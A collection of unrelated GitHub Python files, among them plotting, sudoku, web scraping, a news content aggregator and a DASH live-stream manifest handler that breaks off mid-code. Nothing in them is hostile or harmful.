{"seq_id":"9042903411","text":"# encoding:utf-8\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\n\nrcParams['font.family'] = 'SimHei'\n\n# 如果要保存为pdf格式，需要增加如下配置\n#rcParams[\"pdf.fonttype\"] = 42\n\n\nX = [2000,3000,4000]\nDT = [0.92,0.93,0.94]\nSVM = [0.83,0.84,0.87]\nLogistic = [0.82,0.83,0.94]\nKNeighbors = [0.72,0.75,0.76]\nGaussianNB = [0.6,0.65,0.65]\n\nplt.plot(X,DT,label='y2',color='r',linewidth=2)\nplt.plot(X,SVM,label='y3',color='b',linewidth=2)\nplt.plot(X,Logistic,label='y4',color='k',linewidth=2)\nplt.plot(X,KNeighbors,label='y5',color='c',linewidth=2)\nplt.plot(X,GaussianNB,label='y5',color='m',linewidth=2)\n\n\nplt.xlabel(u'数据集网址数量(个)')\nplt.ylabel(u'预测正确率')\nplt.title(u'五种分类算法正确率比较')\nplt.legend()\n\nplt.show()\n\n# plt.bar(x,y,label=\"one\",color='blue') # 住装图\n# plt.bar(x2,y2,label=\"sec\",color='red')\n\n# plt.plot(x2,y2,label=\"second\") # 线装图\n# plt.plot(x,y,label=\"first\")\n\n# population_ages = [22,23,35,45,32,65,44,12,110,130,33,45,67,87,33,33]\n\n# ids = [x for x in range(len(population_ages))]\n\n# bins = [0,10,20,30,40,50,60,70,80,90,100,120,130,140]\n#\n# plt.hist(population_ages,bins,histtype='bar',rwidth=0.8,label='populat') # 直方图\n\n# x = [1,2,3,4,5,6,7,8]\n#\n# y = [2,5,6,7,5,4,7,5]\n# plt.scatter(x,y,label=\"skitscat\",color='k',marker=\"*\",s=50) # 散点图\n\n# days = [1,2,3,4,5]\n# sleeping = [5,6,4,8,2]\n# eating = [2,3,5,6,5]\n# working = [7,8,9,6,6]\n# playing = [5,6,7,8,7]\n# plt.plot([],[],color='m',label='sleeping',linewidth=3)\n# plt.plot([],[],color='c',label='eating')\n# plt.plot([],[],color='r',label='woring')\n# plt.plot([],[],color='k',label='playing')\n#\n# plt.stackplot(days,sleeping,eating,working,playing,colors=['m','c','r','k']) #堆叠式图区\n\n# slices = [7,2,2,13]\n# activities = ['sleeping','eating','working','playing']\n# colors = ['c','m','r','b']\n# plt.pie(slices,\n#         labels=activities,\n#         colors=colors,\n#         startangle=90,\n#         shadow=True,\n#         explode=(0,0.1,0,0),\n#         autopct='%1.1f%%'\n#         )\n\n\n\n","repo_name":"mrcheng0910/url_lexical_analysis","sub_path":"analyzing_data/matplotlib_learn.py","file_name":"matplotlib_learn.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43063048723","text":"import sys\r\ninput = sys.stdin.readline\r\narr = [list(input().rstrip()) for _ in range(9)]\r\n# arr = [list(input().rstrip().split()) for _ in range(9)]\r\n\r\ndef check(r, c, n):\r\n    for i in range(9):\r\n        if n == arr[r][i]:\r\n            return False\r\n    for j in range(9):\r\n        if n == arr[j][c]:\r\n            return False\r\n    r, c = r//3*3, c//3*3\r\n    for i in range(3):\r\n        for j in range(3):\r\n            if n == arr[r+i][c+j]:\r\n                return False\r\n    return True\r\n\r\ndef bt(s):\r\n    for i in range(s, 9):\r\n        for j in range(9):\r\n            if arr[i][j] != '0':\r\n                continue\r\n            for k in map(str, range(1, 10)):\r\n                if not check(i, j, k):\r\n                    continue\r\n                arr[i][j] = k\r\n                bt(i)\r\n                arr[i][j] = '0'\r\n            return\r\n    for row in arr:\r\n        print(*row, sep=\"\")\r\n    sys.exit()\r\n\r\nbt(0)","repo_name":"k4west/Baekjoon_Python","sub_path":"백준/Gold/2239. 스도쿠/스도쿠.py","file_name":"스도쿠.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24886471124","text":"import csv\nimport json\nimport os\nfrom utils.constants import Constants\n\ndef filter_synset_file():\n    all_synsets_path = Constants.DATA_FOLDER + '/imagenet_synset_to_human_label_map.txt'\n    used_synsets = Constants.DATA_FOLDER + '/thesis_synsets.txt'\n    with open(all_synsets_path, 'r') as all_synsets_file:\n        with open(used_synsets, 'r') as used_synsets_file:\n            all_synsets = all_synsets_file.readlines()\n            all_synsets = [s.strip('\\n') for s in all_synsets]\n            used_synsets = used_synsets_file.readlines()\n            used_synsets = [s.strip('\\n') for s in used_synsets]\n    all_synsets_dict = {}\n    for s in all_synsets:\n        s_split = s.split('\\t')\n        all_synsets_dict[s_split[0]] = s_split[1]\n    string = \"\"\n    for s in used_synsets:\n        descr = all_synsets_dict[s]\n        string += s + ' ' + descr + '\\n'\n    with open(Constants.DATA_FOLDER + '/thesis_synsets_descr.txt', 'w') as text_file:\n         text_file.write(string)\n\ndef synset_labels_dict():\n    file_path = os.path.join(Constants.DATA_FOLDER, 'synsets-labels.txt')\n    with open(file_path, 'r') as f:\n        l = f.readlines()\n    d = {}\n    for i, li in enumerate(l):\n        li = li.strip('\\n')\n        li = li.split(' ')[0]\n        d[li] = i\n    with open(os.path.join(Constants.DATA_FOLDER, 'synset_labels_dict.json'), 'w') as f:\n        json.dump(d, f, indent=2)\n\ndef labels_synset_dict():\n    file_path = os.path.join(Constants.DATA_FOLDER, 'synsets-labels.txt')\n    with open(file_path, 'r') as f:\n        l = f.readlines()\n    d = {}\n    for i, li in enumerate(l):\n        li = li.strip('\\n')\n        li = li.split(' ')[0]\n        d[i] = li\n    with open(os.path.join(Constants.DATA_FOLDER, 'labels_synset_dict.json'), 'w') as f:\n        json.dump(d, f, indent=2)\n\nif __name__ == '__main__':\n    synset_labels_dict()\n    labels_synset_dict()\n    filter_synset_file()\n","repo_name":"valsaniadavide/one_shot_learning_som","sub_path":"utils/gen_dict.py","file_name":"gen_dict.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25382851530","text":"# Read all notes taken by previous researcher\r\n\r\nimport time\r\nfrom time import sleep\r\nimport glob\r\n\r\n# Has to be run in jupyter notebook, the sleep() doesn't work\r\ndef visitfile(file):\r\n    global all_files\r\n    all_files.append(file)\r\n\r\nbase = r'E:\\BigData\\MEG\\MRES\\ME125_MMN_phase1_Yanan\\Adult_MEG\\\\'\r\nimport os\r\nfile_names = [os.path.join(dp, f) for dp, dn, filenames in os.walk(base) for f in filenames if os.path.splitext(f)[1] == '.txt']\r\n\r\nnotes_files = []\r\nfor file in file_names:\r\n\t#print(file)\r\n\tif (\"NOTES\" in file or \".rtf\" in file) and \"PIPE\" not in file:\r\n\t\tprint(file)\r\n\t\twith open(file) as f:\r\n\t\t\tlines = f.readlines()\r\n\t\tprint(lines)\r\n\t\tsleep(10)\r\n","repo_name":"LanceAbel/MQ_MEG_Analysis","sub_path":"Helpers/read_all_notes.py","file_name":"read_all_notes.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"20306802698","text":"class Inventory:\n    # инвентарь:\n    inventory = []\n\n    # 9 указателей на слоты интвентаря:\n    panel = []\n\n    # указатель на слот панели, который сейчас в руке:\n    select = []\n\n    def replace(self, cell:int, value):\n        \"\"\"\n            Вставка id-Обьекта в слот инвентаря\n        \"\"\"\n        # слот:\n        cell %= 36\n\n        # содержимое для слота:\n        value %= 65536\n\n        # очищаем содержимое слота:\n        self.inventory[cell].clear()\n\n        # вставляем в слот свое содержимое:\n        self.inventory[cell].append(value)\n\n    def select_cell_panel(self, cell_panel, cell):\n        # ячейка панели:\n        cell_panel %= 9\n\n        # слот:\n        cell %= 36\n\n        # привязка выбранного слота к ячейке:\n        self.panel[cell_panel] = self.inventory[cell]\n\n\n    def select_cell(self, cell_panel:int):\n        # ячейка панели:\n        cell_panel %= 9\n\n        # то что мы выбрали в руке\n        self.select = self.panel[cell_panel]\n\n    def __init__(self):\n        self.inventory = [\n            [ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],\n            [ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],\n            [ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],\n\n            [ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ],[ ]\n        ]\n\n        self.panel = [[] for x in range(9)]\n\n        # панель в класическом режиме показывает на нижний ряд четвертый\n        [[self.select_cell_panel(x, (3*9)+x)] for x in range(9)]\n        # self.panel = [self.inventory[((3*9)+x)%36] for x in range(9)]\n\n        # то что мы выбрали в руке\n        self.select = self.panel[0]\n    def clear(self):\n        self.__init__()\n    pass\n\n\ntmp = Inventory()\ntmp.replace(27, 4)\nprint(tmp.select)\nprint(tmp.panel)\ntmp.replace(27, 2)\nprint(tmp.select)\nprint(tmp.panel)\n","repo_name":"CyTon-Code/minecraft","sub_path":"inventary.py","file_name":"inventary.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70921107942","text":"import nltk\n\n\ndef extract_entities(text):\n    tokens = nltk.tokenize.casual_tokenize(text)\n    tags = nltk.pos_tag(tokens)\n    grammar = \"NP: {<JJ>*(<NN>|<NNP>|<NNPS>|<NNS>)+}\"\n    parser = nltk.RegexpParser(grammar)\n    result = parser.parse_all(tags)\n\n    ret = []\n    for item in result:\n        if not hasattr(item, 'label'):\n            assert len(item) == 2\n            ret.append(item[0])\n            continue\n        assert item.label() == \"NP\"\n        s = ' '.join([l[0] for l in item.leaves()])\n        ret.append('<span class=\"np\">{}</span>'.format(s))\n\n    return ret","repo_name":"daeyun/cs412summer","sub_path":"dshin11/nlp_utils.py","file_name":"nlp_utils.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21829695091","text":"import requests\nfrom bs4 import BeautifulSoup\nimport nltk\nfrom nltk.sentiment import SentimentIntensityAnalyzer\nfrom transformers import pipeline\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport schedule\nimport time\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport random\n\nnltk.download('vader_lexicon')\n\n\nclass SearchEngine:\n    def __init__(self, search_engine=\"Google\"):\n        self.search_engine = search_engine\n\n    def search_query_processing(self, search_query):\n        if self.search_engine == \"Google\":\n            url = f\"https://www.google.com/search?q={search_query}\"\n            headers = {\n                \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0;Win64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"\n            }\n            response = requests.get(url, headers=headers)\n\n            if response.status_code == 200:\n                return response.text\n            else:\n                print(\"Error occurred while performing the search.\")\n                return None\n        else:\n            print(\"Currently, only Google search engine is supported.\")\n            return None\n\n\nclass NLPModel:\n    def __init__(self, nlp_model=\"HuggingFace\"):\n        self.nlp_model = nlp_model\n\n    def natural_language_processing(self, article_content):\n        if self.nlp_model == \"HuggingFace\":\n            summarization_pipeline = pipeline(\"summarization\")\n            sentiment_pipeline = SentimentIntensityAnalyzer()\n            topic_modeling_pipeline = TfidfVectorizer()\n\n            sentiment_scores = sentiment_pipeline.polarity_scores(article_content)[\n                \"compound\"]\n            summary = summarization_pipeline(article_content, max_length=100, min_length=30, do_sample=False)[0][\n                \"summary_text\"]\n\n            # Tokenize and remove stopwords\n            tokens = [word.lower() for word in nltk.word_tokenize(\n                article_content) if word.isalnum()]\n            stopwords = nltk.corpus.stopwords.words(\"english\")\n            tokens = [word for word in tokens if word not in stopwords]\n            tokenized_content = \" \".join(tokens)\n\n            # Topic modeling using TF-IDF\n            vectors = topic_modeling_pipeline.fit_transform(\n                [tokenized_content, summary])\n            similarity_score = cosine_similarity(\n                vectors[0].reshape(1, -1), vectors[1].reshape(1, -1))[0][0]\n\n            return sentiment_scores, summary, similarity_score\n        else:\n            print(\"Currently, only HuggingFace NLP model is supported.\")\n            return None\n\n\nclass ContentAggregator:\n    def __init__(self, search_engine=\"Google\", nlp_model=\"HuggingFace\"):\n        self.search_engine = SearchEngine(search_engine)\n        self.nlp_model = NLPModel(nlp_model)\n        self.user_search_queries = []\n        self.article_database = []\n        self.recommendations = []\n\n    def collect_search_queries(self):\n        while True:\n            search_query = input(\n                \"Enter your search query (type 'stop' to exit): \")\n            if search_query == \"stop\":\n                break\n            self.user_search_queries.append(search_query)\n\n    def web_scraping(self, html_content):\n        soup = BeautifulSoup(html_content, \"html.parser\")\n        article_titles = []\n        article_summaries = []\n        article_urls = []\n\n        for result in soup.find_all(\"div\", class_=\"result\"):\n            title = result.find(\"h3\").text\n            summary = result.find(\"span\", class_=\"st\").text\n            url = result.find(\"a\")[\"href\"]\n\n            article_titles.append(title)\n            article_summaries.append(summary)\n            article_urls.append(url)\n\n        return article_titles, article_summaries, article_urls\n\n    def extract_article_content(self, url):\n        response = requests.get(url)\n\n        if response.status_code == 200:\n            soup = BeautifulSoup(response.text, \"html.parser\")\n            article_content = soup.find(\"div\", class_=\"article-content\")\n            if article_content:\n                return article_content.text.strip()\n            else:\n                print(\n                    \"Error occurred while extracting article content. No article content found.\")\n                return None\n        else:\n            print(\"Error occurred while extracting article content.\")\n            return None\n\n    def content_filtering_and_ranking(self):\n        filtered_articles = []\n\n        for article in self.article_database:\n            if article[\"sentiment_scores\"] >= 0.5:\n                filtered_articles.append(article)\n\n        filtered_articles = sorted(filtered_articles,\n                                   key=lambda x: (x[\"sentiment_scores\"], x[\"similarity_score\"]), reverse=True)\n\n        return filtered_articles\n\n    def personalized_content_recommendations(self):\n        for article in self.article_database:\n            if article[\"user_feedback\"] == \"interested\":\n                self.recommendations.append(article)\n\n        self.recommendations = sorted(\n            self.recommendations, key=lambda x: x[\"popularity\"], reverse=True)\n\n        return self.recommendations\n\n    def autonomous_content_updates(self):\n        def update_articles():\n            new_articles = []\n\n            for search_query in self.user_search_queries:\n                html_content = self.search_engine.search_query_processing(\n                    search_query)\n                if html_content is None:\n                    continue\n                article_titles, article_summaries, article_urls = self.web_scraping(\n                    html_content)\n\n                for i in range(len(article_urls)):\n                    article_content = self.extract_article_content(\n                        article_urls[i])\n                    if article_content is None:\n                        continue\n                    sentiment_scores, summary, similarity_score = self.nlp_model.natural_language_processing(\n                        article_content)\n\n                    new_articles.append({\n                        \"title\": article_titles[i],\n                        \"summary\": article_summaries[i],\n                        \"url\": article_urls[i],\n                        \"content\": article_content,\n                        \"sentiment_scores\": sentiment_scores,\n                        \"summary_text\": summary,\n                        \"similarity_score\": similarity_score,\n                        \"popularity\": random.randint(1, 100),\n                        \"user_feedback\": \"\"\n                    })\n\n            self.article_database += new_articles\n\n        schedule.every(1).day.do(update_articles)\n\n        while True:\n            schedule.run_pending()\n            time.sleep(1)\n\n    def api_integration_and_notifications(self):\n        def send_email_recommendations():\n            sender_email = \"your_email@example.com\"\n            receiver_email = \"receiver_email@example.com\"\n            password = \"your_email_password\"\n\n            message = MIMEMultipart(\"alternative\")\n            message[\"Subject\"] = \"Content Recommendations\"\n            message[\"From\"] = sender_email\n            message[\"To\"] = receiver_email\n\n            content = MIMEText(\n                \"Here are your personalized content recommendations:\")\n\n            recommendations = self.personalized_content_recommendations()\n\n            for recommendation in recommendations:\n                content += MIMEText(\n                    f\"\\nTitle: {recommendation['title']}\\nSummary: {recommendation['summary']}\\nURL: {recommendation['url']}\\n\")\n\n            message.attach(content)\n\n            with smtplib.SMTP_SSL(\"smtp.gmail.com\", 465) as server:\n                server.login(sender_email, password)\n                server.sendmail(sender_email, receiver_email,\n                                message.as_string())\n\n        schedule.every(1).day.at(\"09:00\").do(send_email_recommendations)\n\n        while True:\n            schedule.run_pending()\n            time.sleep(1)\n\n\nclass RevenueGenerator:\n    def __init__(self, content_aggregator):\n        self.content_aggregator = content_aggregator\n\n    def sponsored_content_recommendations(self):\n        recommendations = self.content_aggregator.personalized_content_recommendations()\n\n        for recommendation in recommendations:\n            recommendation[\"sponsored\"] = True\n\n        return recommendations\n\n    def advertising_partnerships(self):\n        # Functionality for implementing advertising partnerships\n        pass\n\n    def affiliate_marketing(self):\n        # Functionality for implementing affiliate marketing\n        pass\n\n\nclass AIProgram:\n    def __init__(self):\n        self.content_aggregator = ContentAggregator()\n        self.revenue_generator = RevenueGenerator(self.content_aggregator)\n\n    def run(self):\n        self.content_aggregator.collect_search_queries()\n\n        while True:\n            user_choice = input(\n                \"Enter your choice:\\n1. Search and curate content\\n2. Get personalized content recommendations\\n3. Generate revenue\\n4. Exit\\n\")\n\n            if user_choice == \"1\":\n                for search_query in self.content_aggregator.user_search_queries:\n                    html_content = self.content_aggregator.search_engine.search_query_processing(\n                        search_query)\n                    if html_content is None:\n                        continue\n                    article_titles, article_summaries, article_urls = self.content_aggregator.web_scraping(\n                        html_content)\n\n                    for i in range(len(article_urls)):\n                        article_content = self.content_aggregator.extract_article_content(\n                            article_urls[i])\n                        if article_content is None:\n                            continue\n                        sentiment_scores, summary, similarity_score = self.content_aggregator.nlp_model.natural_language_processing(\n                            article_content)\n\n                        self.content_aggregator.article_database.append({\n                            \"title\": article_titles[i],\n                            \"summary\": article_summaries[i],\n                            \"url\": article_urls[i],\n                            \"content\": article_content,\n                            \"sentiment_scores\": sentiment_scores,\n                            \"summary_text\": summary,\n                            \"similarity_score\": similarity_score,\n                            \"popularity\": random.randint(1, 100),\n                            \"user_feedback\": \"\"\n                        })\n\n                print(\"Content has been successfully curated!\")\n\n            elif user_choice == \"2\":\n                recommendations = self.content_aggregator.personalized_content_recommendations()\n\n                for recommendation in recommendations:\n                    print(f\"Title: {recommendation['title']}\")\n                    print(f\"Summary: {recommendation['summary']}\")\n                    print(f\"URL: {recommendation['url']}\")\n                    print()\n\n            elif user_choice == \"3\":\n                revenue_choice = input(\n                    \"Enter your choice:\\n1. Sponsored Content Recommendations\\n2. Advertising Partnerships\\n3. Affiliate Marketing\\n\")\n\n                if revenue_choice == \"1\":\n                    sponsored_recommendations = self.revenue_generator.sponsored_content_recommendations()\n\n                    for recommendation in sponsored_recommendations:\n                        print(f\"Title: {recommendation['title']}\")\n                        print(f\"Summary: {recommendation['summary']}\")\n                        print(f\"URL: {recommendation['url']}\")\n                        print()\n\n                elif revenue_choice == \"2\":\n                    self.revenue_generator.advertising_partnerships()\n\n                elif revenue_choice == \"3\":\n                    self.revenue_generator.affiliate_marketing()\n\n            elif user_choice == \"4\":\n                break\n\n            else:\n                print(\"Invalid choice.\")\n\n\nif __name__ == \"__main__\":\n    program = AIProgram()\n    program.run()\n","repo_name":"Drlordbasil/SmartInsight","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70093436580","text":"# pymongoDB 사용을 위한 명령\nfrom pymongo import MongoClient\n\n# 로컬에서 돌아가는 mongoDB에 연결\nclient = MongoClient('localhost', 27017)\n# dbsparta 이름을 가진 DB에 접속\ndb = client.dbsparta\n\n# 웹스크래핑(크롤링 기초)\nimport requests  # 요청 명령 불러오기\nfrom bs4 import BeautifulSoup  # bs4의 BeautifulSoup 불러오기\n\nheaders = {\n\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}\ndata = requests.get('https://movie.naver.com/movie/sdb/rank/rmovie.nhn?sel=pnt&date=20200303', headers=headers)\n#                       기본적인 요청을 막아둔 사이트를 우회하기 위해 브라우저 요청 효과를 주기 위해서 headers=headers 사용\n\nsoup = BeautifulSoup(data.text, 'html.parser')\n# BeautifulSoup의 사용 방법 2가지\n#   select_one : 한 개의 데이터 값을 불러오는 것\n#   select : 여러개의 데이터를 List 형식으로 불러오는 것\n\n# 코딩 시작\n# title = soup.select_one('#old_content > table > tbody > tr:nth-child(2) > td.title > div > a')\n# print(title)  # 태그 호출\n# print(title.text)  # 태그 사이의 텍스트만 불러오고 싶을 경우 .text를 사용하여 원하는 텍스트 호출\n# print(title['href'])  # 태그의 속성을 가져오고 싶을 경우 ['~~']의 ~~에 태그 속성 입력\n\n\n# 페이지 크롤링 해보기\n# old_content > table > tbody > tr\n# 공통 selecter 선언\ntrs = soup.select('#old_content > table > tbody > tr')\n\nfor tr in trs:\n\t# print(tr)\n\t\n\t# 영화 이름\n\t# old_content > table > tbody > tr:nth-child(2) >\n\ta_tag = tr.select_one('td.title > div > a')\n\t# print(a_tag)\n\t\n\tif a_tag is not None:\n\t\ttitle = a_tag.text\n\t\t# print(rank['alt'])\n\t\t# print(title)\n\t\t# print(rate.text)\n\t\t# print(lank['alt'], title, rate.text)\n\t\t\n\t\t# 영화 랭킹 순위값 불러오기\n\t\t# old_content > table > tbody > tr:nth-child(2) >\n\t\trank = tr.select_one('td:nth-child(1) > img')['alt']\n\t\t\n\t\t# 영화 평점\n\t\t# old_content > table > tbody > tr:nth-child(2) >\n\t\trate = tr.select_one('td.point').text\n\t\t\n\t\t# DB에 크롤링한 영화 data 저장하기\n\t\tdoc = {\n\t\t\t'rank': rank,\n\t\t\t'title': title,\n\t\t\t'star': rate\n\t\t}\n\t\tdb.movies.insert_one(doc)\n","repo_name":"devjjongs/sparta_web","sub_path":"pythonprac/hello2.py","file_name":"hello2.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71888625380","text":"import base64\nimport time\nimport threading\nfrom datetime import datetime, timedelta\nimport xml.etree.ElementTree as ET\nfrom typing import List, Tuple, Dict, Optional, Any\n\nimport mpegdash.parser\nimport isodate\n\nimport Utils as Utils\nfrom CommonTypes import EosNames, EosHttpConfig, EosFragment, EosUrl, LiveDelayListener\nfrom Languages import EosLanguage\nfrom DashUtils import DashInitDecoder\nfrom RequestWrapper import RequestWrapper\n\n\n####################################################\n#  DashLiveDelayStream\n####################################################\nclass DashLiveDelayStream:\n    time_in_current_manifest: float\n    current_time: float\n    fragments: List[EosFragment]\n    time_in_fragments: float\n    max_timestamp: int\n    time_scale: float\n    media: str\n    presentation_time_offset: int\n    audio_sampling_rate: int\n\n    ####################################################\n    #  __init__\n    ####################################################\n    def __init__(self) -> None:\n        self.max_timestamp = -1\n        self.time_in_current_manifest = 0\n        self.current_time = 0\n        self.fragments = []\n        self.time_in_fragments = 0\n        self.time_scale = 1\n        self.media = ''\n        self.presentation_time_offset = 0\n        self.audio_sampling_rate = 0\n\n\n####################################################\n#\n#  DashLiveDelayHandler\n#\n####################################################\nclass DashLiveDelayHandler(threading.Thread):\n    __session_id: str\n    __live_origin_manifest_url: str\n    __delay_seconds: float\n    __first_manifest_read: bool\n    __mpd_buffer_time_set: bool\n    __reference_adaptation_set_id: Optional[str]\n    __streams: Dict[Any, DashLiveDelayStream]  # (content_type, adaptation_set_id) -> DashLiveDelayStream\n    __eos_streams: List[int]  # adaptation_set_id\n    __listeners: List[Tuple[LiveDelayListener, str]]   # (LiveDelayListener, param)\n    __mpd: Optional[mpegdash.nodes.MPEGDASH]\n    __base_urls: List[str]\n    __lock: threading.RLock\n    #__mpd: Optional[ET.Element]\n    __ready: threading.Event\n    __request_wrapper: RequestWrapper\n\n    ####################################################\n    #  __init__\n    ####################################################\n    def __init__(self, session_id: str, live_origin_manifest_url: str, delay_seconds: int, ready: threading.Event) -> None:\n\n        self.__session_id = session_id\n\n        self.__live_origin_manifest_url = live_origin_manifest_url\n\n        Utils.logger_.info(self.__session_id, \"DashLiveDelayHandler::__init__ live_origin_manifest_url={}\".format(self.__live_origin_manifest_url))\n\n        self.__request_wrapper = RequestWrapper(self.__session_id, 'DashLiveDelayHandler ' + self.__live_origin_manifest_url)\n\n        self.__delay_seconds = delay_seconds\n\n        self.__first_manifest_read = True\n        self.__mpd_buffer_time_set = False\n\n        self.__reference_adaptation_set_id = None\n\n        self.__streams = {}\n        self.__eos_streams = []\n\n        self.__listeners = []\n\n        self.__mpd = None\n\n        self.__base_urls = []\n\n        self.__ready = ready\n\n        self.__lock = threading.RLock()\n\n        threading.Thread.__init__(self)  # start thread\n\n    ####################################################\n    #  set_reference_stream\n    ####################################################\n    def set_reference_stream(self, reference_adaptation_set_id: int, next_adaptation_set_id: int, dst_language: EosLanguage, default_lang: EosLanguage):\n\n        Utils.logger_.info('DashLiveDelayHandler', \"DashLiveDelayHandler::set_reference_stream reference_adaptation_set_id={}, next_adaptation_set_id={}, dst_language={}\".format(reference_adaptation_set_id, next_adaptation_set_id, dst_language.code_bcp_47()))\n\n        self.__reference_adaptation_set_id = reference_adaptation_set_id\n\n        #reference_adaptation_set = None\n        #period = self.__mpd.periods[0]\n        #for ref_adaptation_set in period.adaptation_sets:\n        #    if ref_adaptation_set.id == reference_adaptation_set_id:\n        #        reference_adaptation_set = ref_adaptation_set\n\n        # create new adaptation set for the dst_language\n        adaptation_set = mpegdash.nodes.AdaptationSet()\n        adaptation_set.id = next_adaptation_set_id\n        adaptation_set.group = 3 # 8\n        #adaptation_set.bitstream_switching = True\n        #adaptation_set.segment_alignment = True\n        adaptation_set.content_type = \"text\"\n        adaptation_set.codecs = \"stpp\"\n        adaptation_set.mime_type = \"application/mp4\"\n        adaptation_set.start_with_sap = 1\n        adaptation_set.lang = dst_language.code_639_1()\n\n        if True:\n            adaptation_set.id = None\n            adaptation_set.content_type = None\n            adaptation_set.codecs = None\n\n            content_component = mpegdash.nodes.ContentComponent()\n            content_component.id = '1'\n            content_component.content_type = \"text\"\n            adaptation_set.content_components = []\n            adaptation_set.content_components.append(content_component)\n\n        role = mpegdash.nodes.Descriptor()\n        role.scheme_id_uri = \"urn:mpeg:dash:role:2011\"\n        role.value = \"subtitle\"\n        adaptation_set.roles = [role]\n\n        representation = mpegdash.nodes.Representation()\n        representation.id = \"eos\"\n        representation.bandwidth = 8000\n\n        if True:\n            representation.codecs = \"stpp\"\n            representation.id = next_adaptation_set_id + 2\n\n            sub_representation = mpegdash.nodes.SubRepresentation()\n            sub_representation.bandwidth = 8000\n            sub_representation.codecs = \"stpp\"\n            sub_representation.content_component = 1\n            representation.sub_representations = sub_representation\n\n        adaptation_set.representations = [representation]\n\n        # reference_segment_template = reference_adaptation_set.segment_templates[0]\n\n        segment_template = mpegdash.nodes.SegmentTemplate()\n        segment_template.timescale = 1000  # reference_segment_template.timescale\n        segment_template.media = \"{}/{}/$Time$\".format(EosNames.fragment_dash_prefix, dst_language.code_bcp_47())\n        segment_template.initialization = \"{}/{}/Init\".format(EosNames.fragment_dash_prefix, dst_language.code_bcp_47())\n\n        segment_timeline = mpegdash.nodes.SegmentTimeline()\n\n        segment_template.segment_timelines = [segment_timeline]\n        adaptation_set.segment_templates = [segment_template]\n\n        self.__mpd.periods[0].adaptation_sets.append(adaptation_set)\n        self.__eos_streams.append(next_adaptation_set_id)\n\n    ####################################################\n    #  get_presentation_time_offset\n    ####################################################\n    def get_presentation_time_offset(self) -> int:\n        return self.__streams[('audio', self.__reference_adaptation_set_id)].presentation_time_offset\n\n    ####################################################\n    # run\n    # called from thread context when start() is called\n    ####################################################\n    def run(self) -> None:\n\n        Utils.logger_.system('DashLiveDelayHandler', \"DashLiveDelayHandler::run thread started name={}\".format(self.getName()))\n\n        while True:\n\n            original_manifest = None\n            response = self.__request_wrapper.get(self.__live_origin_manifest_url)\n            if response is None:\n                Utils.logger_.error(str(self.__session_id), \"DashLiveDelayHandler::run error getting manifest from server\")\n                time.sleep(1)\n                continue\n\n            original_manifest = response.text\n\n            # print(original_manifest)\n\n            self.__lock.acquire()\n\n            mpd = mpegdash.parser.MPEGDASHParser.parse(original_manifest)\n\n            if self.__mpd is None:\n                self.__mpd = mpd\n\n            if mpd.base_urls is not None:\n                self.__base_urls.append(mpd.base_urls[0].base_url_value)\n                mpd.base_urls = None\n\n            period = mpd.periods[0]\n\n            if period.base_urls is not None:\n                self.__base_urls.append(period.base_urls[0].base_url_value)\n                period.base_urls = None\n\n            for adaptation_set in period.adaptation_sets:\n\n                adaptation_set_id = adaptation_set.id\n                content_type = adaptation_set.content_type\n\n                if adaptation_set_id is None:\n                    if adaptation_set.content_components is not None:\n                        adaptation_set_id = adaptation_set.content_components[0].id\n                        content_type = adaptation_set.content_components[0].content_type\n\n                stream_key = (content_type, adaptation_set_id)\n                # print(\"stream_key=\", stream_key)\n\n                if stream_key not in self.__streams.keys():\n                    self.__streams[stream_key] = DashLiveDelayStream()\n\n                if adaptation_set.audio_sampling_rate is not None:\n                    self.__streams[stream_key].audio_sampling_rate = int(adaptation_set.audio_sampling_rate)\n\n                self.__streams[stream_key].time_in_current_manifest = 0\n\n                min_bandwidth = 1e12\n                representation_id = ''\n                for representation in adaptation_set.representations:\n                    if representation.audio_sampling_rate is not None:\n                        self.__streams[stream_key].audio_sampling_rate = int(representation.audio_sampling_rate)\n                    if representation.bandwidth < min_bandwidth:\n                        min_bandwidth = representation.bandwidth\n                        representation_id = representation.id\n\n                #Utils.logger_.debug('DashLiveDelayHandler', \"DashLiveDelayHandler::run adaptation_set_id={}, content_type={}, min_bandwidth={}, audio_sampling_rate={}\".format(adaptation_set_id, content_type, min_bandwidth, self.__streams[adaptation_set_id].audio_sampling_rate))\n\n                segment_template = adaptation_set.segment_templates[0]\n\n                new_url = EosUrl()\n                media = segment_template.media\n                if len(self.__base_urls) > 0:\n                    media = self.__base_urls[-1] + media\n                new_url.set_url(media, self.__live_origin_manifest_url)\n                segment_template.media = new_url.absolute_url\n\n                new_url = EosUrl()\n                initialization = segment_template.initialization\n                if len(self.__base_urls) > 0:\n                    initialization = 